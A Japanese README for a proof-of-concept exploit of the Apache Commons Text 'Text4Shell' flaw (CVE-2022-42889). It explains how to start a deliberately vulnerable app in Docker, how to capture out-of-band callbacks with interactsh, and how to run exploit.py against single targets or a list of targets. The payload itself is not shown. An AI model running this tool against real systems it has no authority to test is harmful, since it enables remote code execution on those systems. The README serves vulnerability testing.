Text4shell-exploit

これは、Apache Commons Text [CVE-2022-42889] の脆弱性を悪用するProof of Conceptです。

影響を受けるバージョン: 1.5.0 から (1.10.0 は含まない)

影響

この脆弱性が悪用されると、認証されていない攻撃者が脆弱な資産上で任意のコードを実行できる可能性があります。

PoCを検証するための脆弱なアプリケーション

@securekomodo によって開発されたアプリケーションが こちら に添付されています。

Docker

このアプリケーションはdocker-registryからもロードできます。

docker run -p 8080:8080 gokul2/text4shell-poc:latest

これでアプリケーションは localhost:8080 で利用可能になります。

検証

任意のコマンド実行を検証するために、OOBインタラクションをキャプチャするツールである interactsh（@projectdiscovery 作成）を使用します。

Interactsh-clientのセットアップ

実際のエクスプロイトを実行する前に、interactshクライアントをセットアップしてください。

docker run projectdiscovery/interactsh-client:latest

アプリケーション起動後に表示されるドメインをメモしてください。

[INF] Listing 1 payload for OOB Testing
[INF] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.pro

使い方

python3 exploit.py -u [host] -i [input-file-with-targets] -v [interactsh client domain] -p [proxy(optional)]
python3 exploit.py -u [host] -t [single target path] -v [interactsh client domain] -p [proxy(optional)]

確認

エクスプロイトを検証するには、interactshクライアントのログを確認してください。